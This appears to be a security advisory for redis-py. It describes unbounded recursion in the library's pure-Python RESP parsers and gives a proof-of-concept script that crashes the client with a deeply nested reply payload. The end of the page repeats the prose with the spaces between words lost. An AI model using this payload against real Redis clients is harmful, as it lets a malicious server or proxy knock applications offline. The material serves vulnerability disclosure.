The pure-Python RESP parser path in redis-py uses recursive parsing for nested aggregate replies. A malicious Redis server, compromised Redis proxy, or an on-path actor that can inject RESP replies can send sufficiently deep nested aggregates and trigger RecursionError, causing client-side denial of service.
The pure-Python RESP parser recursively processes nested aggregate replies without a recursion-depth guard.
Relevant code paths include:
redis/_parsers/resp2.py
redis/_parsers/resp3.py
In the RESP2 parser, nested arrays recurse via _read_response() repeatedly until the Python recursion limit is exceeded.
Proof of concept
Create the following file:
import argparse
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
from redis._parsers.resp2 import _RESP2Parser
from redis._parsers.socket import SocketBuffer
class FakeSock:
def __init__(self, payload: bytes):
self.payload = payload
def recv(self, n: int) -> bytes:
if not self.payload:
return b""
chunk = self.payload[:n]
self.payload = self.payload[n:]
return chunk
def settimeout(self, _timeout: float) -> None:
pass
parser = argparse.ArgumentParser()
parser.add_argument("--depth", type=int, default=sys.getrecursionlimit() + 200)
args = parser.parse_args()
payload = (b"*1\r\n" * args.depth) + b"+OK\r\n"
resp = _RESP2Parser(1)
resp._buffer = SocketBuffer(FakeSock(payload), socket_read_size=65536, socket_timeout=1)
print("MODEL=malicious_redis_server_or_proxy")
print(f"PYTHON_RECURSION_LIMIT={sys.getrecursionlimit()}")
print(f"NESTING_DEPTH={args.depth}")
try:
resp._read_response(disable_decoding=True)
except RecursionError:
print("RESULT=VULNERABLE_RECURSION_DOS")
else:
print("RESULT=NO_RECURSION_ERROR_AT_THIS_DEPTH")
Run
python poc.py
python poc.py --depth 1200
The pure-Python RESP parser path in
redis-pyuses recursive parsing for nested aggregate replies. A malicious Redis server, compromised Redis proxy, or an on-path actor that can inject RESP replies can send sufficiently deep nested aggregates and triggerRecursionError, causing client-side denial of service.The pure-Python RESP parser recursively processes nested aggregate replies without a recursion-depth guard.
Relevant code paths include:
redis/_parsers/resp2.pyredis/_parsers/resp3.pyIn the RESP2 parser, nested arrays recurse via
_read_response()repeatedly until the Python recursion limit is exceeded.Proof of concept
Create the following file:
Run